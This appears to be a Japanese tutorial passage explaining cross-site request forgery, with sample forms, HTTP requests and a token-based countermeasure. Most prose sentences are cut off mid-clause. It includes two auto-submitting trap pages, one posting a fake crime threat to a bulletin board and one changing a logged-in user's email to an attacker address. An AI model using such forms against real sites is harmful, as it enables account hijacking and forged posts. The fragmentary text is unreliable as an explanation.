前回は,
CSRF (クロスサイトリクエストフォージェリ)
CSRFはどのように引き起こされるのか
CSRFとは,
たとえば,
<form method="POST" action="/board">
<label for="username">お名前</label>
<input type="text" id="username" name="username">
<label for="message">メッセージ</label>
<textarea id="message" name="message"></textarea>
<input type="submit" value="書き込み">
</form>
このフォームを用いて,
POST /board HTTP/1.1 Host: example.jp Content-Type: application/x-www-form-urlencoded username=田中&message=こんにちは。
本来は,
B0%E4%B8%AD&message=%E3%81%93%E3%82%93%E3%81
%AB%E3%81%A1%E3%81%AF%E3%80%82`のようになりますが,
サーバ側は,
このような掲示板に対して,
<body onload="document.forms[0].submit()">
<form method="POST" action="http://example.jp/board">
<input type="text" name="username" value="名無しさん">
<textarea name="message">これは犯罪の予告です。XX月XX日,YYYにて大規模な犯罪を行います。</textarea>
</form>
</body>
フォーム自体は攻撃者のサイトであるhttp://
攻撃者は,
ユーザーがうっかりこのURLをクリックして攻撃者の用意した罠サイトを訪問すると,
POST http://example.jp/board HTTP/1.1 Host: example.jp Content-Type: application/x-www-form-urlencoded username=名無しさん&message=これは犯罪の予告です。XX月XX日,YYYにて大規模な犯罪を行います。
掲示板への書き込みのリクエストは,
このように,
ログインを利用してメールアドレスを強制的に変更してしまう仕組み
では次に,
たとえば,
<form method="POST" action="/changeaddr">
<label for="email">メールアドレス</label>
<input type="email" id="email" name="email" value="yourmail@example.jp">
<input type="submit" value="メールアドレスを変更する">
</form>
このフォームを用いて,
POST /changeaddr HTTP/1.1 Host: example.jp Cookie: sessionid=25283FB24C9DEE32 Content-Type: application/x-www-form-urlencoded email=newaddr@example.jp
すでにWebアプリケーションにはログイン済みであるため,
サーバ側は,
このような設定画面を持つWebアプリケーションに対して,
<body onload="document.forms[ 0 ].submit()">
<form method="POST" action="http://example.jp/changeaddr">
<input type="email" name="email" value="hijack@attacker.example.com">
</form>
</body>
攻撃者はこのような罠ページを用意したのち,
すでにログイン済みのユーザーがこのURLを訪問すると,
POST http://example.jp/changeaddr HTTP/1.1 Host: example.jp Cookie: sessionid=25283FB24C9DEE32 Content-Type: application/x-www-form-urlencoded email=hijack@attacker.example.com
ユーザー自身はWebアプリケーションにすでにログイン済みですので,
このように,
CSRFへの対策
CSRFへの対策としては,
- フォーム内にhiddenを用いてトークンを埋め込む
- サーバ側でリクエストを受け取ったときに,
そのトークンを確認する
という方法がもっとも広く使われています。たとえば以下の例では,
<form method="POST" action="/changeaddr">
<label for="email">メールアドレス</label>
<input type="email" id="email" name="email" value="yourmail@example.jp">
<input type="hidden" name="token" value="C2A8DDEF926432BD">
<input type="submit" value="メールアドレスを変更する">
</form>
<form>
サーバ側では,
トークンを利用する方法以外にも,